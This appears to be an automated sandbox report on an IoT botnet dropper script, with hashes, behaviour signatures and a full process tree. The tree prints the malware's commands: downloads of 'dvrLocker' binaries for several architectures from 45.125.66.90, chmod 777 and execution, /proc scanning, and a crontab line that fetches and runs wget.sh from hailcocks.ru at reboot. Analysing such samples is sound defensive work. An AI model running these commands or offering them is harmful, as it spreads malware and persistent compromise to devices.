Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/11/2024, 02:39

General

  • Target

    6b9b184965b98407c98536a87cb0b8272ccc28713f80531b5c5221b2630fac3b.unknown

  • Size

    913B

  • MD5

    c18ef2271ad912c7542293151373ffa0

  • SHA1

    65fb65c17671657fc431173051fe794c6c63007d

  • SHA256

    6b9b184965b98407c98536a87cb0b8272ccc28713f80531b5c5221b2630fac3b

  • SHA512

    fb9a3ec37ee5f8f71b343285f034a6c27520fdc6525b217b411023b4c9741282cd36354442853caa50a2d2fe54dfb6e8f8453f36cdd773573435062f82bcdfc9

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/6b9b184965b98407c98536a87cb0b8272ccc28713f80531b5c5221b2630fac3b.unknown
    /tmp/6b9b184965b98407c98536a87cb0b8272ccc28713f80531b5c5221b2630fac3b.unknown
    1⤵
    • Writes file to tmp directory
    PID:655
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:656
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:663
        • /bin/ls
          ls -l /proc/103/exe
          2⤵
          • Reads runtime system information
          PID:668
        • /bin/ls
          ls -l /proc/11/exe
          2⤵
            PID:671
          • /bin/ls
            ls -l /proc/111/exe
            2⤵
            • Reads runtime system information
            PID:674
          • /bin/ls
            ls -l /proc/113/exe
            2⤵
              PID:678
            • /bin/ls
              ls -l /proc/114/exe
              2⤵
                PID:681
              • /bin/ls
                ls -l /proc/12/exe
                2⤵
                • Reads runtime system information
                PID:684
              • /bin/ls
                ls -l /proc/13/exe
                2⤵
                • Reads runtime system information
                PID:685
              • /bin/ls
                ls -l /proc/14/exe
                2⤵
                  PID:688
                • /bin/ls
                  ls -l /proc/140/exe
                  2⤵
                    PID:689
                  • /bin/ls
                    ls -l /proc/144/exe
                    2⤵
                    • Reads runtime system information
                    PID:691
                  • /bin/ls
                    ls -l /proc/146/exe
                    2⤵
                    • Reads runtime system information
                    PID:694
                  • /bin/ls
                    ls -l /proc/15/exe
                    2⤵
                      PID:695
                    • /bin/ls
                      ls -l /proc/153/exe
                      2⤵
                        PID:697
                      • /bin/ls
                        ls -l /proc/16/exe
                        2⤵
                          PID:698
                        • /bin/ls
                          ls -l /proc/168/exe
                          2⤵
                            PID:699
                          • /bin/ls
                            ls -l /proc/169/exe
                            2⤵
                            • Reads runtime system information
                            PID:701
                          • /bin/ls
                            ls -l /proc/17/exe
                            2⤵
                              PID:702
                            • /bin/ls
                              ls -l /proc/18/exe
                              2⤵
                              • Reads runtime system information
                              PID:703
                            • /bin/ls
                              ls -l /proc/19/exe
                              2⤵
                              • Reads runtime system information
                              PID:704
                            • /bin/ls
                              ls -l /proc/2/exe
                              2⤵
                                PID:705
                              • /bin/ls
                                ls -l /proc/20/exe
                                2⤵
                                  PID:706
                                • /bin/ls
                                  ls -l /proc/21/exe
                                  2⤵
                                    PID:707
                                  • /bin/ls
                                    ls -l /proc/22/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:708
                                  • /bin/ls
                                    ls -l /proc/23/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:709
                                  • /bin/ls
                                    ls -l /proc/235/exe
                                    2⤵
                                      PID:710
                                    • /bin/ls
                                      ls -l /proc/24/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:711
                                    • /bin/ls
                                      ls -l /proc/25/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:712
                                    • /bin/ls
                                      ls -l /proc/26/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:713
                                    • /bin/ls
                                      ls -l /proc/27/exe
                                      2⤵
                                        PID:714
                                      • /bin/ls
                                        ls -l /proc/28/exe
                                        2⤵
                                        • Reads runtime system information
                                        PID:715
                                      • /bin/ls
                                        ls -l /proc/29/exe
                                        2⤵
                                          PID:716
                                        • /bin/ls
                                          ls -l /proc/291/exe
                                          2⤵
                                            PID:717
                                          • /bin/ls
                                            ls -l /proc/292/exe
                                            2⤵
                                              PID:718
                                            • /bin/ls
                                              ls -l /proc/293/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:721
                                            • /bin/ls
                                              ls -l /proc/295/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:722
                                            • /bin/ls
                                              ls -l /proc/298/exe
                                              2⤵
                                                PID:724
                                              • /bin/ls
                                                ls -l /proc/3/exe
                                                2⤵
                                                • Reads runtime system information
                                                PID:726
                                              • /bin/ls
                                                ls -l /proc/322/exe
                                                2⤵
                                                  PID:728
                                                • /bin/ls
                                                  ls -l /proc/324/exe
                                                  2⤵
                                                    PID:730
                                                  • /bin/ls
                                                    ls -l /proc/327/exe
                                                    2⤵
                                                      PID:731
                                                    • /bin/ls
                                                      ls -l /proc/344/exe
                                                      2⤵
                                                        PID:733
                                                      • /bin/ls
                                                        ls -l /proc/4/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:735
                                                      • /bin/ls
                                                        ls -l /proc/41/exe
                                                        2⤵
                                                          PID:736
                                                        • /bin/ls
                                                          ls -l /proc/42/exe
                                                          2⤵
                                                            PID:739
                                                          • /bin/ls
                                                            ls -l /proc/43/exe
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:740
                                                          • /bin/ls
                                                            ls -l /proc/5/exe
                                                            2⤵
                                                              PID:741
                                                            • /bin/ls
                                                              ls -l /proc/589/exe
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:743
                                                            • /bin/ls
                                                              ls -l /proc/6/exe
                                                              2⤵
                                                                PID:745
                                                              • /bin/ls
                                                                ls -l /proc/605/exe
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:747
                                                              • /bin/ls
                                                                ls -l /proc/607/exe
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:749
                                                              • /bin/ls
                                                                ls -l /proc/609/exe
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:750
                                                              • /bin/ls
                                                                ls -l /proc/610/exe
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:753
                                                              • /bin/ls
                                                                ls -l /proc/641/exe
                                                                2⤵
                                                                  PID:754
                                                                • /bin/ls
                                                                  ls -l /proc/647/exe
                                                                  2⤵
                                                                    PID:756
                                                                  • /bin/ls
                                                                    ls -l /proc/648/exe
                                                                    2⤵
                                                                    • Reads runtime system information
                                                                    PID:758
                                                                  • /bin/ls
                                                                    ls -l /proc/650/exe
                                                                    2⤵
                                                                      PID:760
                                                                    • /bin/ls
                                                                      ls -l /proc/652/exe
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:761
                                                                    • /bin/ls
                                                                      ls -l /proc/653/exe
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:763
                                                                    • /bin/ls
                                                                      ls -l /proc/654/exe
                                                                      2⤵
                                                                        PID:764
                                                                      • /bin/ls
                                                                        ls -l /proc/655/exe
                                                                        2⤵
                                                                        • Reads runtime system information
                                                                        PID:767
                                                                      • /bin/ls
                                                                        ls -l /proc/7/exe
                                                                        2⤵
                                                                          PID:768
                                                                        • /bin/ls
                                                                          ls -l /proc/8/exe
                                                                          2⤵
                                                                            PID:770
                                                                          • /bin/ls
                                                                            ls -l /proc/81/exe
                                                                            2⤵
                                                                              PID:772
                                                                            • /bin/ls
                                                                              ls -l /proc/9/exe
                                                                              2⤵
                                                                              • Reads runtime system information
                                                                              PID:774
                                                                            • /bin/rm
                                                                              rm -rf /tmp/lib/
                                                                              2⤵
                                                                                PID:776
                                                                              • /bin/rm
                                                                                rm -rf /tmp/lib/dvrLocker
                                                                                2⤵
                                                                                  PID:777
                                                                                • /bin/mkdir
                                                                                  mkdir /tmp/lib/
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:779
                                                                                • /usr/bin/wget
                                                                                  wget http://45.125.66.90/mpsl -O -
                                                                                  2⤵
                                                                                    PID:781
                                                                                  • /bin/chmod
                                                                                    chmod 777 dvrLocker
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:792
                                                                                  • /tmp/lib/dvrLocker
                                                                                    ./dvrLocker tplink.new
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:793
                                                                                  • /bin/rm
                                                                                    rm -rf mpsl
                                                                                    2⤵
                                                                                      PID:796
                                                                                    • /usr/bin/wget
                                                                                      wget http://45.125.66.90/mips -O -
                                                                                      2⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:798
                                                                                    • /bin/chmod
                                                                                      chmod 777 dvrLocker
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:804
                                                                                    • /tmp/lib/dvrLocker
                                                                                      ./dvrLocker tplink.new
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:805
                                                                                    • /bin/rm
                                                                                      rm -rf mips
                                                                                      2⤵
                                                                                      • System Network Configuration Discovery
                                                                                      PID:807
                                                                                    • /usr/bin/wget
                                                                                      wget http://45.125.66.90/arm -O -
                                                                                      2⤵
                                                                                        PID:808
                                                                                      • /bin/chmod
                                                                                        chmod 777 dvrLocker
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:809
                                                                                      • /tmp/lib/dvrLocker
                                                                                        ./dvrLocker tplink.new
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        • Renames itself
                                                                                        • Changes its process name
                                                                                        • Reads runtime system information
                                                                                        PID:810
                                                                                        • /bin/sh
                                                                                          sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                                                          3⤵
                                                                                          • File and Directory Permissions Modification
                                                                                          PID:811
                                                                                          • /usr/bin/crontab
                                                                                            crontab -
                                                                                            4⤵
                                                                                            • Creates/modifies Cron job
                                                                                            PID:813
                                                                                          • /usr/bin/crontab
                                                                                            crontab -l
                                                                                            4⤵
                                                                                              PID:814
                                                                                        • /bin/rm
                                                                                          rm -rf arm
                                                                                          2⤵
                                                                                            PID:818
                                                                                          • /usr/bin/wget
                                                                                            wget http://45.125.66.90/arm5 -O -
                                                                                            2⤵
                                                                                              PID:819
                                                                                            • /bin/chmod
                                                                                              chmod 777 dvrLocker
                                                                                              2⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:820
                                                                                            • /tmp/lib/dvrLocker
                                                                                              ./dvrLocker tplink.new
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:821
                                                                                            • /usr/bin/wget
                                                                                              wget http://45.125.66.90/ppc -O -
                                                                                              2⤵
                                                                                                PID:823
                                                                                              • /bin/chmod
                                                                                                chmod 777 dvrLocker
                                                                                                2⤵
                                                                                                • File and Directory Permissions Modification
                                                                                                PID:824
                                                                                              • /tmp/lib/dvrLocker
                                                                                                ./dvrLocker tplink.new
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:825
                                                                                              • /usr/bin/wget
                                                                                                wget http://45.125.66.90/arm7 -O -
                                                                                                2⤵
                                                                                                  PID:827
                                                                                                • /bin/chmod
                                                                                                  chmod 777 dvrLocker
                                                                                                  2⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:828
                                                                                                • /tmp/lib/dvrLocker
                                                                                                  ./dvrLocker tplink.new
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:829
                                                                                                • /bin/rm
                                                                                                  rm -rf arm7
                                                                                                  2⤵
                                                                                                    PID:830
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://45.125.66.90/arm6 -O -
                                                                                                    2⤵
                                                                                                      PID:831
                                                                                                    • /bin/chmod
                                                                                                      chmod 777 dvrLocker
                                                                                                      2⤵
                                                                                                      • File and Directory Permissions Modification
                                                                                                      PID:832
                                                                                                    • /tmp/lib/dvrLocker
                                                                                                      ./dvrLocker tplink.new
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:833
                                                                                                    • /bin/rm
                                                                                                      rm -rf /mnt/dvrLocker
                                                                                                      2⤵
                                                                                                        PID:835

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • /tmp/lib/dvrLocker

                                                                                                      Filesize

                                                                                                      100KB

                                                                                                      MD5

                                                                                                      4ad582d49f505bfab7de84881998685b

                                                                                                      SHA1

                                                                                                      5f09f4baed114b594729ded91e2c4d263f0e2754

                                                                                                      SHA256

                                                                                                      b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1

                                                                                                      SHA512

                                                                                                      6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4

                                                                                                    • /tmp/lib/dvrLocker

                                                                                                      Filesize

                                                                                                      99KB

                                                                                                      MD5

                                                                                                      559f129d380ad1cfb60792c6b2dc3d32

                                                                                                      SHA1

                                                                                                      3997a0fc0bd5958783f1751364ec407c5b170adc

                                                                                                      SHA256

                                                                                                      fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

                                                                                                      SHA512

                                                                                                      9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

                                                                                                    • /tmp/lib/dvrLocker

                                                                                                      Filesize

                                                                                                      77KB

                                                                                                      MD5

                                                                                                      d09db60a70d5b53b5b53ad39476fd7e8

                                                                                                      SHA1

                                                                                                      73a75e5e8200f77d857a7256cc0979077e29241d

                                                                                                      SHA256

                                                                                                      36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                                                                      SHA512

                                                                                                      ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                                                                    • /var/spool/cron/crontabs/tmp.7ecNDm

                                                                                                      Filesize

                                                                                                      306B

                                                                                                      MD5

                                                                                                      7d430e045766ddb81fa3cdc9a1615d90

                                                                                                      SHA1

                                                                                                      79dfcc0c73acbf0b65f441d0a1eb56099079fbd3

                                                                                                      SHA256

                                                                                                      92d638a1e2a2c268a45a7c205c60a607ef650bf9982c589931ffd9303cb121ab

                                                                                                      SHA512

                                                                                                      1c2b5933370207dd545b856cf516a7cdc4d3e7e95ccc06a4e398af3be4e3674f6afec9e391e89c2486eaba0d00d7057fcf40e4369dd9a9b3e2077210ce2ec631